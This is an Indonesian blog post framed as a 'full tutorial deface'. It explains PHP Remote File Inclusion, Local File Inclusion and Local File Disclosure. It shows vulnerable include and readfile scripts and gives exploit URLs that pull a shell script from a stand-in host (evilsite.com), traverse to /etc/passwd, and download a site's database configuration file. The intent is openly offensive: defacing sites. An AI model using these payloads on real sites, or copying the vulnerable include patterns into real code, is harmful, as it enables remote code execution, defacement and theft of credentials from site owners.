PPC Iklan Blogger Indonesia

Rabu, 12 Juni 2013

0 Pengertian RFI,LFI,LFD ( Full Tutorial Deface )

Date: Rabu, 12 Juni 2013 09.30
Category:
Author: Unknown
Share:
Responds: 0 Comment
1. Remote File Inclusion

contoh script :
Code:
<?php $page=$_GET['file'];
include($page);
?>

misal :
Code:
http://www.sh4dhckr.com/get.php?file=index.php
itu artinya isi dari index.php bakal di eksekusi kedalem get.php

phpshellcode : http://evilsite.com/evilscript.txt

exploitasi :
kita masukkin php shell code ke dalem get.php
caranya tinggal ubah index.php jadi URL phpshellcode kita.

Code:
http://www.sh4dhckr.com/get.php?file=http://evilsite.com/evilscript.txt

kalo kita masukkin URL phpshellcode kita, nanti script akan berubah sementara jadi :
Code:
<?php $page="http://evilsite.com/evilscript.txt";
include($page);
?>

kadang ada script yang berisi :
Code:
<?php
$page=$_GET['page'];
include($page.'.php');
?>

jadi semisal kita include http://evilsite.com/evilscript.txt kita, bakal berubah URL-nya jadi http://evilsite.com/evilscript.txt.php
untuk menghilangkan .php di akhir URL shellcode kita, bisa kita tambah NULLBYTE ( ).

Code:
http://www.sh4dhckr.com/get.php?file=http://evilsite.com/evilscript.txt


2. Local File Inclusion

contoh script :
Code:
<?php
$page=$_GET['page'];
include('/pages/'.$page);
?>

sama kayak RFI. cuman kalo ini hanya berlaku buat include file di 1 server.

misal :
Code:
http://www.sh4dhckr.com/get.php?file=../../../../../../../../../../etc/passwd

bisa juga kita pake NULLBYTE buat bypass.. sama kayak RFI.


3. Local File Disclosure/Download

contoh script :

Code:
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
//header( "Content-Description: File Transfer");
@readfile($file);
die();

kesalahan itu bisa dimanfaatkan untuk mendownload file sensitif seperti konfigurasi database.

misal :
Code:
http://www.sh4dhckr.com/get.php?file=includes/config.php



CONTOH DALAM GAMBAR NEEEHHH!!!


isi vulnerable file..

[Image: 1lfifile.png]

berikut isi file yang mau kita eksekusi..

[Image: 2isitext.png]

berikut gambar file yang ter-eksekusi..

[Image: 3executed.png]

berikut contoh pesan error LFI..

[Image: 5gagallfi.png]

berikut contoh pesan error RFI

[Image: 4errorrfi.png]

RFI gagal karena setting allow_url_include di php.ini OFF..

[Image: 6phpini.png]





SEKIAN

Artikel Terkait :



Posting Komentar